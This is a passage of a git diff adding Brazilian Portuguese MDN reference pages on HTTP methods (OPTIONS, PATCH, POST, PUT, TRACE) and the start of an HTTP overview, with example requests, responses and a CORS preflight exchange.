opções de comunicação com o recurso de destino.</dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/TRACE">TRACE</a></code></dt> + <dd> + <p>O método <code>TRACE</code> executa um teste de chamada <em>loop-back</em> junto com o caminho para o recurso de destino.</p> + </dd> + <dt><code><a href="/en-US/docs/Web/HTTP/Methods/PATCH">PATCH</a></code></dt> + <dd>O método <code>PATCH</code> é utilizado para aplicar modificações parciais em um recurso.</dd> +</dl> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + <th scope="col">Comentário</th> + </tr> + <tr> + <td>{{RFC("7231", "Request methods", "4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + <td>Especifica os métodos GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.</td> + </tr> + <tr> + <td>{{RFC("5789", "Patch method", "2")}}</td> + <td>PATCH Method for HTTP</td> + <td>Especifica o método PATCH.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h2> + +<p class="hidden">Para contribuir com estes dados de compatibilidade, envie uma requisição <em>pull</em> para este arquivo: <a href="https://github.com/mdn/browser-compat-data/blob/master/http/methods.json">https://github.com/mdn/browser-compat-data/blob/master/http/methods.json</a>.</p> + +<p>{{Compat("http/methods")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Headers">Cabeçalhos HTTP</a></li> +</ul> diff --git a/files/pt-br/web/http/methods/options/index.html b/files/pt-br/web/http/methods/options/index.html new file mode 100644 index 0000000000..6ad1b2231b --- /dev/null +++ b/files/pt-br/web/http/methods/options/index.html @@ -0,0 +1,122 @@ +--- +title: OPTIONS +slug: Web/HTTP/Methods/OPTIONS +translation_of: Web/HTTP/Methods/OPTIONS +--- +<div>{{HTTPSidebar}}</div> + +<p>O <strong>método HTTP <code>OPTIONS</code> </strong>é utilizado para que um cliente possa descobrir quais as opções de requisição permitidas para um determinado recurso em um servidor. O cliente pode especificar uma URL específica no método <code>OPTIONS</code> ou um asterisco(*) indicando que se refere ao servidor como um todo para sanar suas dúvidas em relação as opções de requisição permitidas.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Request possui corpo</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">Resposta bem sucedida possui corpo</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Seguro")}}</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotente")}}</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheável")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">Permitido em formulários HTML</th> + <td>Não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">OPTIONS /index.html HTTP/1.1 +OPTIONS * HTTP/1.1 +</pre> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Descobrindo_quais_tipos_de_requisição_são_permitidas">Descobrindo quais tipos de requisição são permitidas</h3> + +<p>Para descobrir quais tipos de requisição um servidor suporta, é possível utilizar o curl e enviar uma requisição OPTIONS:</p> + +<pre class="notranslate">curl -X OPTIONS http://example.org -i</pre> + +<p>A resposta terá um cabeçalho {{HTTPHeader("Allow")}} com os métodos permitidos:</p> + +<pre class="notranslate">HTTP/1.1 200 OK +Allow: OPTIONS, GET, HEAD, POST +Cache-Control: max-age=604800 +Date: Thu, 13 Oct 2016 11:45:00 GMT +Expires: Thu, 20 Oct 2016 11:45:00 GMT +Server: EOS (lax004/2813) +x-ec-custom-error: 1 +Content-Length: 0 +</pre> + +<h3 id="Requisições_Preflighted_no_CORS">Requisições Preflighted no CORS</h3> + +<p>No <a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a>, uma requisição preflight com o método OPTIONS é enviada para que o servidor possa indicar se é possível enviar uma requisição específica com os parâmetros informados. No exemplo abaixo, o cabeçalho {{HTTPHeader("Access-Control-Request-Method")}} indica para o servidor que quando a requisição específica for enviada, ela será enviada como uma requisição POST. O cabeçalho {{HTTPHeader("Access-Control-Request-Headers")}} indica para o servidor que quando a requisição específica for enviada, ela será enviada com os cabeçalhos customizados <code>X-PINGOTHER</code> e <code>Content-Type</code>. A partir desta requisição com o método OPTIONS, o servidor possui a oportunidade de indicar se a requisição específica será aceita da forma como foi indicada pelos parâmetros supracitados (o método POST e os dois cabeçalhos customizados).</p> + +<pre class="notranslate">OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre> + +<p>Em nosso exemplo, o servidor responde com {{HTTPHeader("Access-Control-Allow-Methods")}} indicando que os métodos <code>POST</code>, <code>GET</code>, e <code>OPTIONS</code> são permitidos para utilização em relação ao recurso em questão. Este cabeçalho é similar ao cabeçalho de resposta {{HTTPHeader("Allow")}} , no entanto ele somente é utilizado no contexto do CORS.</p> + +<pre class="notranslate">HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7231", "OPTIONS", "4.3.7")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_entre_navegadores">Compatibilidade entre navegadores</h2> + +<p class="hidden">A tabela de compatibilidade é gerada a partir de dados estruturados. Se você gostaria de contribuir, por favor verifique o repositório <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos envie um pull request.</p> + +<p>{{Compat("http.methods.OPTIONS")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Allow")}} header</li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a></li> +</ul> diff --git a/files/pt-br/web/http/methods/patch/index.html b/files/pt-br/web/http/methods/patch/index.html new file mode 100644 index 0000000000..3f97a7c329 --- /dev/null +++ b/files/pt-br/web/http/methods/patch/index.html @@ -0,0 +1,99 @@ +--- +title: PATCH +slug: Web/HTTP/Methods/PATCH +tags: + - HTTP + - Método HTTP + - Referencia + - Rest + - patch +translation_of: Web/HTTP/Methods/PATCH +--- +<div>{{HTTPSidebar}}</div> + +<p>O <strong>método de requisição HTTP PATCH</strong> aplica modificações parciais a um recurso.</p> + +<p>O método HTTP {{HTTPMethod("PUT")}} permite apenas substituições completas de um documento. Em contraste ao <code>PUT</code>, o método <code>PATCH</code> não é <span class="short_text" id="result_box" lang="pt"><span>idempotente</span></span>, ou seja, requisições sucessivas idênticas <em>podem</em> obter efeitos distintos. Todavia, é possível realizar requisições <code>PATCH</code> de modo a serem <span class="short_text" id="result_box" lang="pt"><span>idempotentes</span></span>.</p> + +<p><code>PATCH</code> (assim como <code>PUT</code>) podem ter efeitos colaterais em outros recursos.</p> + +<p>Para descobrir se um servidor dá suporte a <code>PATCH</code>, um servidor pode divulgar seu suporte adicionando tal suporte à lista no cabeçalho de resposta HTTP {{HTTPHeader("Allow")}} ou {{HTTPHeader("Access-Control-Allow-Methods")}} (para CORS).</p> + +<p>Outra indicação (implícita) da permissão de PATCH é a presença do cabeçalho {{HTTPHeader("Accept-Patch")}}, que especifica o formato do documento patch aceito pelo servidor.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Requisição possui corpo</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">Resposta sucedida possui corpo</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">Permitido em <a href="/en-US/docs/Web/Guide/HTML/Forms">formulários HTML</a></th> + <td>Não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">PATCH /file.txt HTTP/1.1 +</pre> + +<h2 id="Exemplo">Exemplo</h2> + +<h3 id="Requisição">Requisição</h3> + +<pre class="line-numbers language-html">PATCH /file.txt HTTP/1.1 +Host: www.example.com +Content-Type: application/example +If-Match: "e0023aa4e" +Content-Length: 100 + +[descrição das mudanças]</pre> + +<h3 id="Resposta">Resposta</h3> + +<p>Uma resposta sucedida é indicada pelo <em>status </em>de resposta {{HTTPStatus("204")}}, visto que a resposta não carrega um corpo de mensagem.</p> + +<pre class="newpage">HTTP/1.1 204 No Content +Content-Location: /arquivo.txt +ETag: "e0023aa4f"</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("5789", "PATCH")}}</td> + <td>PATCH Method for HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("204")}}</li> + <li>{{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}</li> + <li>{{HTTPHeader("Accept-Patch")}} – Especifica o documento patch aceito pelo servidor.</li> +</ul> diff --git a/files/pt-br/web/http/methods/post/index.html b/files/pt-br/web/http/methods/post/index.html new file mode 100644 index 0000000000..d5d1f07a1e --- /dev/null +++ b/files/pt-br/web/http/methods/post/index.html @@ -0,0 +1,122 @@ +--- +title: POST +slug: Web/HTTP/Methods/POST +tags: + - HTTP + - Método de requisição + - Referencia +translation_of: Web/HTTP/Methods/POST +--- +<div>{{HTTPSidebar}}</div> + +<p>O <strong>método HTTP <code>POST</code></strong> envia dados ao servidor. O tipo do corpo da solicitação é indicado pelo cabeçalho {{HTTPHeader("Content-Type")}}.</p> + +<p>A diferença entre <code>PUT</code> e {{HTTPMethod("POST")}} é que <code>PUT</code> é idempotente: chamá-lo uma vez ou várias vezes sucessivamente tem o mesmo efeito (ou seja, nenhum efeito colateral), onde sucessivos POST idênticos podem ter efeitos adicionais, assim como passando uma ordem várias vezes.</p> + +<p>Uma solicitação <code>POST</code> geralmente é enviada por meio de um <a href="/pt-BR/docs/Web/Guide/HTML/Forms">formulário HTML</a> e resulta em uma alteração no servidor. Nesse caso, o tipo de conteúdo é selecionado colocando a string adequada no atributo {{htmlattrxref("enctype", "form")}} do elemento {{HTMLElement("form")}} ou o atributo {{htmlattrxref("formenctype", "input")}} dos elementos {{HTMLElement("input")}} ou {{HTMLElement("button")}}:</p> + +<ul> + <li><code>application/x-www-form-urlencoded</code>: as chaves e valores são codificados em tuplas de valor-chave separadas por <code>'&'</code>, com um <code>'='</code> entre a chave e o valor. Caracteres não alfanuméricos em chaves e valores são {{glossary ("percent-encoding", "percent encoded")}}: este é o motivo pelo qual esse tipo não é adequado para uso com dados binários (ao invés disso, use <code>multipart/form-data</code>)</li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> +</ul> + +<p>Quando a requisição <code>POST</code> é enviada através de um método diferente de um formulário HTML - como por meio de um {{domxref("XMLHttpRequest")}} - o corpo pode assumir qualquer tipo. Conforme descrito na especificação HTTP 1.1, o <code>POST</code> é projetado para permitir que um método uniforme cubra as seguintes funções:</p> + +<ul> + <li>Anotação de recursos existentes</li> + <li>Postar uma mensagem em um quadro de avisos, newsgroup, lista de emails ou grupo similar de artigos;</li> + <li>Adicionando um novo usuário através de um modal de inscrição;</li> + <li>Fornecendo um bloco de dados, como o resultado do envio de um formulário, para um processo de manipulação de dados;</li> + <li>Estendendo um banco de dados por meio de uma operação de <em>append</em>.</li> +</ul> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Requisição tem corpo</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">Resposta bem-sucedida tem corpo</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row"><a href="https://developer.mozilla.org/pt-BR/docs/Glossary/Safe">Seguro</a></th> + <td>Não</td> + </tr> + <tr> + <th scope="row"><a href="https://developer.mozilla.org/pt-BR/docs/Glossary/Idempotent">Idempotente</a></th> + <td>Não</td> + </tr> + <tr> + <th scope="row"><a href="https://developer.mozilla.org/pt-BR/docs/Glossary/Cacheable">Cacheável</a></th> + <td>Somente se as informações de atualização estiverem incluídas</td> + </tr> + <tr> + <th scope="row">Permitido em <a href="/pt-BR/docs/Web/Guide/HTML/Forms">formulários HTML</a></th> + <td>Sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">POST /index.html +</pre> + +<h2 id="Exemplo">Exemplo</h2> + +<p>Um simples formulário utilizando o padrão <em>content type</em> <code>application/x-www-form-urlencoded</code>:</p> + +<pre class="line-numbers language-html">POST / HTTP/1.1 +Host: foo.com +Content-Type: application/x-www-form-urlencoded +Content-Length: 13 + +say=Hi&to=Mom</pre> + +<p>Um formulário utilizando o <em>content type</em> <code>multipart/form-data</code>:</p> + +<pre>POST /test.html HTTP/1.1 +Host: example.org +Content-Type: multipart/form-data;boundary="boundary" + +--boundary +Content-Disposition: form-data; name="field1" + +value1 +--boundary +Content-Disposition: form-data; name="field2"; filename="example.txt" + +value2</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "POST", "4.3.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um <em>pull request</em>.</p> + +<p>{{Compat("http.methods.POST")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Content-Disposition")}}</li> +</ul> diff --git a/files/pt-br/web/http/methods/put/index.html b/files/pt-br/web/http/methods/put/index.html new file mode 100644 index 0000000000..5e7ca00f57 --- /dev/null +++ b/files/pt-br/web/http/methods/put/index.html @@ -0,0 +1,100 @@ +--- +title: PUT +slug: Web/HTTP/Methods/PUT +tags: + - Método HTTP + - Método de requisição + - Referencia +translation_of: Web/HTTP/Methods/PUT +--- +<div>{{HTTPSidebar}}</div> + +<p>O <strong>método de requisição </strong><strong>HTTP PUT</strong> cria um novo recurso ou subsititui uma representação do recurso de destino com os novos dados.</p> + +<p>A diferença entre <code>PUT</code> e {{HTTPMethod("POST")}} é que <code>PUT</code> é idempotente: chamá-lo uma ou várias vezes sucessivamente terá o mesmo efeito (não é um efeito colateral), enquanto usar <code>POST</code> repetidamente pode ter efeitos adicionais, como passar uma ordem várias vezes.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">A requisição tem corpo</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">Resposta bem sucedida tem corpo</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Safe")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Sim</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheable")}}</th> + <td>Não</td> + </tr> + <tr> + <th scope="row">Permitido em <a href="/en-US/docs/Web/Guide/HTML/Forms">formulários HTML</a></th> + <td>Não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">PUT /new.html HTTP/1.1 +</pre> + +<h2 id="Exemplo">Exemplo</h2> + +<h3 id="Solicitação">Solicitação</h3> + +<pre>PUT /new.html HTTP/1.1 +Host: example.com +Content-type: text/html +Content-length: 16 + +<p>New File</p></pre> + +<h3 id="Resposta">Resposta</h3> + +<p>Se o recurso de destino não tem uma representação atual e a requisição <code>PUT</code> foi criada com sucesso, então o servidor original deve informar o agente de usuário enviando uma resposta {{HTTPStatus("201")}} (<code>Created</code>).</p> + +<pre class="newpage">HTTP/1.1 201 Created +Content-Location: /new.html</pre> + +<p>Se o recurso de destino tem uma representação atual e essa representação é modificada com sucesso de acordo com o estado de representação em anexo, então o servidor original deve enviar também uma resposta {{HTTPStatus("200")}} (<code>OK</code>) or a {{HTTPStatus("204")}} (<code>No Content</code>) para indicar a conclusão da requisição.</p> + +<pre>HTTP/1.1 204 No Content +Content-Location: /existing.html +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "PUT", "4.3.4")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semântica e conteúdo.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_entre_navegadores">Compatibilidade entre navegadores</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada através de dados estruturados. Se você quiser contribuir com os dados, acesse <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos solicite um pull request.</p> + +<p>{{Compat("http.methods.PUT")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPStatus("201")}}</li> + <li>{{HTTPStatus("204")}}</li> +</ul> diff --git a/files/pt-br/web/http/methods/trace/index.html b/files/pt-br/web/http/methods/trace/index.html new file mode 100644 index 0000000000..0c36c59cfa --- /dev/null +++ b/files/pt-br/web/http/methods/trace/index.html @@ -0,0 +1,75 @@ +--- +title: TRACE +slug: Web/HTTP/Methods/TRACE +translation_of: Web/HTTP/Methods/TRACE +--- +<div>{{HTTPSidebar}}</div> + +<p>O <strong>método</strong> <strong>HTTP <code>TRACE</code> </strong>realiza um teste de loopback enviando uma mensagem por todo o caminho até o recurso alvo no qual foi destinado, provendo um mecanismo útil para debug.</p> + +<p>O destinatário final deve responder a mensagem recebida, excluindo alguns campos descritos abaixo, de volta para o client com um status code 200 (OK) e um cabeçalho {{httpheader("Content-Type")}}. O destinatário final pode ser o servidor de origem ou o primeiro servidor a receber a requisição com o cabeçalho {{httpheader("Max-Forwards")}} com valor 0.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Requisição possui body</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Resposta com sucesso possui body</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Seguro")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">{{Glossary("Idempotent")}}</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Cacheavel")}}</th> + <td>No</td> + </tr> + <tr> + <th scope="row">Permitido nos formatos HTML</th> + <td>No</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">TRACE /index.html +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "TRACE", "4.3.8")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_do_Navegador">Compatibilidade do Navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.methods.TRACE")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Methods">HTTP methods</a></li> +</ul> + +<p> </p> diff --git a/files/pt-br/web/http/overview/index.html b/files/pt-br/web/http/overview/index.html new file mode 100644 index 0000000000..77b04da730 --- /dev/null +++ b/files/pt-br/web/http/overview/index.html @@ -0,0 +1,201 @@ +--- +title: Uma visão geral do HTTP +slug: Web/HTTP/Overview +tags: + - Arquitetura cliente-servidor + - Cliente + - Como a internet funciona + - HTML + - HTTP + - Mecânica da Internet + - Protocolos + - Rede + - Servidor + - TCP + - UDP + - Visão Geral + - cliente-servidor + - protocolos de rede +translation_of: Web/HTTP/Overview +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"> <strong><font><font>HTTP</font></font></strong><font><font> é um protocolo (</font></font>{{glossary("protocol")}}<font><font>) que permite a obtenção de recursos, como documentos HTML. </font><font>É a base de qualquer troca de dados na Web e um protocolo cliente-servidor, o que significa que as requisições são iniciadas pelo destinatário, geralmente um navegador da Web. </font><font>Um documento completo é reconstruído a partir dos diferentes sub-documentos obtidos, como por exemplo texto, descrição do layout, imagens, vídeos, scripts e muito mais.</font></font></p> + +<p><img alt="A Web document is the composition of different resources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;" title=""></p> + +<p>Clientes e servidores se comunicam trocando mensagens individuais (ao contrário de um fluxo de dados). As mensagens enviadas pelo cliente, geralmente um navegador da Web, são chamadas de <strong>solicitações </strong><em>(requests)</em>, ou também <strong>requisições</strong>, e as mensagens enviadas pelo servidor como resposta são chamadas de <strong>respostas </strong><em>(responses)</em>.</p> + +<p><img alt="HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;" title="">Projetado no início da década de 1990, o protocolo HTTP é extensível e evoluiu ao longo do tempo. Atua na camada de aplicação e é enviado sobre o protocolo{{glossary ("TCP")}}, ou em uma conexão TCP criptografada com {{glossary ("TLS")}}, embora qualquer protocolo de transporte confiável possa, teoricamente, ser usado. Devido à sua extensibilidade, ele é usado não só para buscar documentos de hipertexto, mas também imagens e vídeos ou publicar conteúdo em servidores, como nos resultados de formulário HTML (veja os elementos {{HTMLElement("html")}} e {{HTMLElement("form")}}). O HTTP também pode ser usado para buscar partes de documentos para atualizar páginas da Web sob demanda.</p> + +<h2 id="Componentes_de_sistemas_baseados_em_HTTP">Componentes de sistemas baseados em HTTP</h2> + +<p>O HTTP é um protocolo cliente-servidor: as requisições são enviados por uma entidade, o agente-usuário (ou um <em>proxy</em> em nome dele). A maior parte do tempo, o agente-usuário é um navegador da Web, mas pode ser qualquer coisa, como por exemplo um robô que varre a Web para preencher e manter um índice de mecanismo de pesquisa e coletar informações.</p> + +<p>Cada requisição individual é enviada para um servidor, que irá lidar com isso e fornecer um resultado, chamado de <em>resposta</em>. Entre a solicitação e a resposta existem várias entidades, designadas coletivamente como {{glossary("Proxy_server", "proxies")}}, que executam operações diferentes e atuam como <em>gateways </em>(intermediários) ou {{glossary("Cache", "caches")}}, por exemplo.</p> + +<p><img alt="Client server chain" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p> + +<p>Na realidade, existem muitos outros computadores entre o navegador e o servidor que está tratando a requisição: existem roteadores, modems e muito mais. Graças ao modelo de camadas da Web, essas funcionalidades estão escondidas nas camadas de rede e transporte, respectivamente. O HTTP está no topo da camada de aplicação. Apesar de ser importante diagnosticar problemas de conectividade, as camadas subjacentes são irrelevantes para a descrição do HTTP.</p> + +<h3 id="Cliente_o_agente-usuário">Cliente: o agente-usuário</h3> + +<p>O<em>agente-usuário</em> é qualquer ferramenta que age em nome do usuário. Essa função é predominantemente realizada pelo navegador Web; algumas poucas exceções são programas usados por engenheiros e desenvolvedores Web para debugar as suas aplicações.</p> + +<p>O navegador <strong>sempre</strong> é a entidade que inicia as requisições, nunca o lado do servidor (embora alguns mecanismos tenham sido adicionados ao longo dos anos para simular mensagens iniciadas pelo servidor).</p> + +<p>Para mostrar uma página Web, o navegador envia uma requisição para buscar o documento HTML da página. Ele então realiza uma análise sintática desse arquivo, buscando requisições adicionais correspondentes a scripts de execução, informações de layout (CSS) para apresentação e subrecursos contidos na página (geralmente imagens e vídeos). Depois o navegador interpreta esses recursos para mostrar ao usuário a página completa. Existem scripts executados pelo navegador que buscam mais recursos em fases subsequentes e conforme o uso da página e o navegador atualiza a página de acordo.</p> + +<p>Uma página Web é um documento de hipertexto (HTML). Isso significa que algumas partes do texto mostrado são <em>links</em> (vínculos com outras páginas ou recursos da Web), os quais podem ser ativados (normalmente pelo clique do <em>mouse</em>) para buscar uma nova página, permitindo ao usuário redirecionar seu agente-usuário e navegar pela internet. O navegador traduz esses endereços em requisições HTTP e depois interpreta as respostas HTTP para mostrar ao usuário uma resposta transparente.</p> + +<h3 id="O_servidor_de_páginas_Web">O servidor de páginas Web</h3> + +<p>Do outro lado do canal de comunicação está o servidor que serve o documento requisitado pelo usuário. Um servidor se apresenta virtualmente apenas como uma máquina: isto porque o servidor pode ser uma coleção de servidores dividindo a carga (através de uma técnica chamada balanceamento de carga) ou também como um programa complexo que acessa outros servidores (como um cache, um servidor de banco de dados, servidores de <em>e-commerce </em>(lojas virtuais), etc.), gerando toda ou parte do documento solicitado.</p> + +<p>Um servidor não é necessáriamente apenas uma máquina, mas vários servidores podem estar hospedados na mesma máquina. Com o HTTP/1.1 e o cabeçalho {{HTTPHeader("Host")}}, eles podem até compartilhar o mesmo endereço IP.</p> + +<h3 id="Proxies_ou_representantes">Proxies (ou representantes)</h3> + +<p>Entre o navegador Web e o servidor, vários computadores e máquinas transmitem as mensagens HTTP. Devido a estrutura em camadas da pilha Web, a maioria dessas máquinas operam em alguma das camadas: de transporte, de rede ou física, sendo transparente na camada da aplicação HTTP, e potencialmente exercendo um grande impacto na performance. Essas máquinas que operam na camada de aplicação são normalmente conhecidas como <strong><em>proxies</em> </strong>(ou representantes, ou procuradores, etc). Eles podem ser transparentes ou não (alterações nas requisições não passam por eles), e podem desempenhar várias funções:</p> + +<ul> + <li>cacheamento (o <em>cache</em> pode ser público ou privado, como o <em>cache</em> dos navegadores)</li> + <li>filtragem (como um <em>scanner</em> de antivírus, controle de acesso, etc)</li> + <li>balanceamento de carga (para permitir que vários servidores possam responder a diferentes requisições)</li> + <li>autenticação (para controlar quem tem acesso aos recursos)</li> + <li>autorização (para controlar quem tem acesso a determinada informação)</li> + <li>registro de informação (permite o armazenamento de informações de histórico)</li> +</ul> + +<h2 id="Aspectos_básicos_do_HTTP">Aspectos básicos do HTTP</h2> + +<h3 id="HTTP_é_simples">HTTP é simples</h3> + +<p>Mesmo com mais complexidade introduzida no HTTP/2.0 por encapsular mensagens HTTP em quadros (<em>frames</em>), o HTTP foi projetado para ser simples e legível às pessoas. As mensagens HTTP podem ser lidas e entendidas por qualquer um, provendo uma maior facilidade para desenvolvimento e testes, e reduzir a complexidade para os estudantes.</p> + +<h3 id="HTTP_é_extensível">HTTP é extensível</h3> + +<p>Introduzidos no HTTP/1.0, os <a href="/pt-BR/docs/Web/HTTP/Headers">cabeçalhos HTTP</a> fazem com que este protocolo seja fácil para estender e usá-lo para experimentos. Novas funcionalidades podem até ser introduzidas pelo simples acordo entre um cliente e um servidor sobre a nova semântica de um cabeçalho.</p> + +<h3 id="HTTP_não_tem_estado_mas_tem_sessões">HTTP não tem estado, mas tem sessões</h3> + +<p>HTTP é sem estado: não existe uma relação entre duas requisições sendo feitas através da mesma conexão. Isso traz um problema imediato para usuários que interagem com algumas páginas de forma coerente, por exemplo, usando um carrinho de compras de <em>e-commerces</em>*. Mas como o fundamento básico do HTTP é não manter estados, <em>cookies</em> HTTP permitem que as sessões tenham estados. Usando a extensibilidade dos cabeçalhos, os <em>cookies</em> são adicionados ao fluxo do HTTP, permitindo que a criação de sessão em cada requisição HTTP compartilhem o mesmo contexto, ou o mesmo estado.</p> + +<div class="note"> +<p>* O problema do carrinho de compras de <em>e-commerces</em> e o protocolo HTTP: como o protocolo HTTP não guarda o estado das requisições e respostas, é <u>impossível</u> fazer com que um site guarde as informações de um carrinho de compras <u>somente através do HTTP</u>. Por exemplo, imagine que você irá comprar um computador novo e um jogo de xícaras de chá. Para que esses dados possam ser mantidos enquanto você navega no site do <em>e-commerce</em> olhando mais produtos (cada página visitada gera um novo par de requisição/resposta), duas estratégias podem ser usadas, já que o HTTP por si só, não permitiria isso:</p> + +<ol> + <li>Você possui um cadastro no <em>e-commerce</em> e um programa escrito no servidor é responsável por armazenar suas informações do carrinho; ou</li> + <li>Um programa escrito em linguagem cliente (como JavaScript), gerencia essas informações através dos <em>cookies</em> e de bancos de dados que os próprios navegadores disponibilizam para as aplicações, para armazenamento <strong>temporário</strong> dessas informações de carrinho.</li> +</ol> +</div> + +<ol> +</ol> + +<h3 id="HTTP_e_conexões">HTTP e conexões</h3> + +<p>Uma conexão é controlada na camada de transporte, e portanto fundamentalmente fora do controle do HTTP. Entretanto o HTTP não requer que o protocolo de transporte utilizado seja baseado em conexões, só requer que seja confiável ou não perca mensagens (sem pelo menos apresentar erros). Dentre os dois protocolos de transporte mais comuns na internet, o TCP é confiável e o UDP não. 